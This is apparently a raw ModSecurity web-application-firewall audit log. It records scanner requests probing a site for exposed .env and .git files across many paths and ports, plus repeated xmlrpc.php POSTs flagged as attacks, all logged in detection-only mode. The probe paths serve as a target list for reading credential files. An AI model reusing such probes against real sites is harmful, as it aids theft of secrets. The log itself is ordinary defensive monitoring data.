sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b711913-Z-- --f646e728-A-- [16/Jun/2025:04:25:55.878153 +0530] aE9Pe8alTF-TysO2fMOBCAAAAAE 185.177.72.210 54008 127.0.0.1 7081 --f646e728-B-- GET /adminapp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f646e728-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c70bff443ee3318c59c89794d2fb09941750028155; expires=Sun, 15 Jun 2025 23:55:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f646e728-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/adminapp/.env"] [unique_id "aE9Pe8alTF-TysO2fMOBCAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028155207526 670689 (- - -) Stopwatch2: 1750028155207526 670689; combined=1585, p1=391, p2=1102, p3=0, p4=0, p5=91, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f646e728-Z-- --39084205-A-- [16/Jun/2025:04:25:57.925228 +0530] aE9PfbBfUm2FdhH5voERngAAAAU 185.177.72.210 54072 127.0.0.1 7081 --39084205-B-- GET /:8080/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --39084205-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b6a36dd1acb2ff7f367ed307f804ed41750028157; expires=Sun, 15 Jun 2025 23:55:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --39084205-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env"] [unique_id "aE9PfbBfUm2FdhH5voERngAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028157237869 687420 (- - -) Stopwatch2: 1750028157237869 687420; combined=1642, p1=340, p2=1221, p3=0, p4=0, p5=81, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --39084205-Z-- --83100b59-A-- [16/Jun/2025:04:25:58.924340 +0530] aE9PfnwHSJGQ1A1pR0qZWgAAAAY 185.177.72.210 54112 127.0.0.1 7081 --83100b59-B-- GET /js/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --83100b59-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=febce7b7e1a5eb75591219478466371e1750028158; expires=Sun, 15 Jun 2025 23:55:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --83100b59-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/js/.env"] [unique_id "aE9PfnwHSJGQ1A1pR0qZWgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028158265530 658940 (- - -) Stopwatch2: 1750028158265530 658940; combined=1852, p1=352, p2=1387, p3=0, p4=0, p5=112, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83100b59-Z-- --6122f025-A-- [16/Jun/2025:04:26:05.939298 +0530] aE9PhH2GhYywD7zZgx4DewAAAAM 128.199.112.101 43506 127.0.0.1 7081 --6122f025-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 500 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6122f025-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6122f025-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (52+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (52+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9PhH2GhYywD7zZgx4DewAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028164952474 986880 (- - -) Stopwatch2: 1750028164952474 986880; combined=2844, p1=477, p2=1983, p3=42, p4=61, p5=183, sr=135, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6122f025-Z-- --85516e18-A-- [16/Jun/2025:04:26:16.084257 +0530] aE9Pj32GhYywD7zZgx4DfwAAAAM 185.177.72.210 44450 127.0.0.1 7081 --85516e18-B-- GET /:8080/.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --85516e18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=909b2b1210f9026f0d93efe69e9cc9711750028175; expires=Sun, 15 Jun 2025 23:56:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --85516e18-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.docker/.env"] [unique_id "aE9Pj32GhYywD7zZgx4DfwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028175423511 660817 (- - -) Stopwatch2: 1750028175423511 660817; combined=1716, p1=404, p2=1209, p3=0, p4=0, p5=102, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --85516e18-Z-- --6a7c8919-A-- [16/Jun/2025:04:26:24.573519 +0530] aE9Pl-xC6fQU5wYvxvlx8AAAAAk 185.177.72.210 52220 127.0.0.1 7081 --6a7c8919-B-- GET /:8181/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6a7c8919-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f13da9425a91d3d6ad3d72351f1ac8a51750028184; expires=Sun, 15 Jun 2025 23:56:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6a7c8919-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/django_project_path/.env"] [unique_id "aE9Pl-xC6fQU5wYvxvlx8AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028183927695 645888 (- - -) Stopwatch2: 1750028183927695 645888; combined=1915, p1=360, p2=1452, p3=0, p4=0, p5=103, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6a7c8919-Z-- --2e894502-A-- [16/Jun/2025:04:26:35.990330 +0530] aE9Pox-kH31pk4mNbsVINgAAAAo 185.177.72.210 60042 127.0.0.1 7081 --2e894502-B-- GET /:8880/konfig/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2e894502-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61d510c35821d3dce09f245bec72d06f1750028195; expires=Sun, 15 Jun 2025 23:56:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2e894502-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/konfig/.env"] [unique_id "aE9Pox-kH31pk4mNbsVINgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028195328805 661605 (- - -) Stopwatch2: 1750028195328805 661605; combined=1755, p1=405, p2=1222, p3=0, p4=0, p5=127, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2e894502-Z-- --dbbd9721-A-- [16/Jun/2025:04:27:05.528046 +0530] aE9PwPNXjUHq-Wm7C_8XmAAAAAQ 128.199.112.101 36960 127.0.0.1 7081 --dbbd9721-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 504 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --dbbd9721-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --dbbd9721-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9PwPNXjUHq-Wm7C_8XmAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028224577858 950258 (- - -) Stopwatch2: 1750028224577858 950258; combined=2843, p1=525, p2=1802, p3=53, p4=85, p5=234, sr=136, sw=144, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dbbd9721-Z-- --d6900f57-A-- [16/Jun/2025:04:27:36.945647 +0530] aE9P4HwHSJGQ1A1pR0qZhgAAAAY 185.177.72.210 40044 127.0.0.1 7081 --d6900f57-B-- GET /.git/hooks/applypatch-msg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d6900f57-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d0e3e87e8ae1954906d0843181bc74f61750028256; expires=Sun, 15 Jun 2025 23:57:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d6900f57-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/applypatch-msg"] [unique_id "aE9P4HwHSJGQ1A1pR0qZhgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028256285353 660358 (- - -) Stopwatch2: 1750028256285353 660358; combined=1475, p1=281, p2=1106, p3=0, p4=0, p5=87, sr=72, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d6900f57-Z-- --d361e558-A-- [16/Jun/2025:04:28:05.954569 +0530] aE9P_H2GhYywD7zZgx4DrgAAAAM 128.199.112.101 53596 127.0.0.1 7081 --d361e558-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --d361e558-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --d361e558-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9P_H2GhYywD7zZgx4DrgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028284920747 1033879 (- - -) Stopwatch2: 1750028284920747 1033879; combined=2285, p1=425, p2=1480, p3=41, p4=62, p5=174, sr=152, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d361e558-Z-- --51292118-A-- [16/Jun/2025:04:28:51.854341 +0530] aE9QK5bumDYPKpRD2ekpDAAAAAA 185.177.72.210 38298 127.0.0.1 7081 --51292118-B-- GET /acme_challenges/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --51292118-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8b22294efb6f7ec018f91397ff58e09e1750028331; expires=Sun, 15 Jun 2025 23:58:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --51292118-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/acme_challenges/.env"] [unique_id "aE9QK5bumDYPKpRD2ekpDAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028331170354 684050 (- - -) Stopwatch2: 1750028331170354 684050; combined=1827, p1=393, p2=1340, p3=0, p4=0, p5=93, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --51292118-Z-- --ef9d1e35-A-- [16/Jun/2025:04:29:05.950065 +0530] aE9QOR-kH31pk4mNbsVIcgAAAAo 128.199.112.101 42248 127.0.0.1 7081 --ef9d1e35-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ef9d1e35-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ef9d1e35-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9QOR-kH31pk4mNbsVIcgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028345000846 949292 (- - -) Stopwatch2: 1750028345000846 949292; combined=2491, p1=435, p2=1616, p3=50, p4=73, p5=202, sr=130, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ef9d1e35-Z-- --0086fe21-A-- [16/Jun/2025:04:29:06.925664 +0530] aE9QOlxTdrwJSUMoZvGz_QAAAAc 185.177.72.210 42298 127.0.0.1 7081 --0086fe21-B-- GET /:8888/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0086fe21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dd55242a2519a51b5a9ab87c4ebdf0dc1750028346; expires=Sun, 15 Jun 2025 23:59:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0086fe21-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/www/.env"] [unique_id "aE9QOlxTdrwJSUMoZvGz_QAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750028346167950 757775 (- - -) Stopwatch2: 1750028346167950 757775; combined=1740, p1=322, p2=1321, p3=0, p4=0, p5=96, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0086fe21-Z-- --06155243-A-- [16/Jun/2025:04:29:23.914376 +0530] aE9QS5bumDYPKpRD2ekpGwAAAAA 185.177.72.210 46630 127.0.0.1 7081 --06155243-B-- GET /.env~ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --06155243-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=85de3c65a98a48fb17cf3dc659cbbbd11750028363; expires=Sun, 15 Jun 2025 23:59:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --06155243-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] 